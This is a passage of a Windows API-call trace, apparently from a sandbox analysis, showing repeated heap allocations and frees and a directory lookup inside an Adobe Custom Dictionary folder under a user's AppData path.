(HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.481] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x3115200 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.481] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eeb78 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3115200 | out: hHeap=0x670000) returned 1 [0062.481] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0062.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eeb78 | out: hHeap=0x670000) returned 1 [0062.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.482] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0062.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0062.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.482] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0062.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.482] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0062.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.482] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0062.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0062.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.482] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0062.482] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.482] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.482] PathFindFileNameW (pszPath="") returned="" [0062.482] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.482] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.485] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.485] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.485] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0062.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2b38 | out: hHeap=0x670000) returned 1 [0062.485] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2b38 [0062.485] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 